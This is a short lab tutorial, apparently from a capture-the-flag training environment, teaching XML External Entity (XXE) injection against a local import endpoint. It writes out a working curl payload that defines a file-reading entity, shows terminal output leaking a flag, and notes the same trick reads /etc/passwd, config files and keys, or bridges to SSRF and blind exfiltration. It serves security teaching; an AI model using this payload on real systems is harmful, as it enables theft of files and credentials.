Teaching the document to read files
XML lets a document define entities in a DOCTYPE. If the entity is SYSTEM "file://...", a vulnerable parser fetches that file and substitutes its contents wherever the entity is used. Point one at an internal file and put it in <name>:
curl -s -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE p [<!ENTITY xxe SYSTEM "file:///srv/vt-target/internal/xxe.txt">]><profile><name>&xxe;</name></profile>' http://127.0.0.1:8080/app/importIn the terminal
student@vulntech:~$ curl -s -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE p [<!ENTITY xxe SYSTEM "file:///srv/vt-target/internal/xxe.txt">]><profile><name>&xxe;</name></profile>' http://127.0.0.1:8080/app/import Imported profile for: vulntech{xxe_reads_local_files}
The echoed name is now the file's contents. The same entity reads anything the web user can — file:///etc/passwd, config files, keys. External entities can also hit internal URLs (an SSRF bridge) or be chained to exfiltrate data blindly.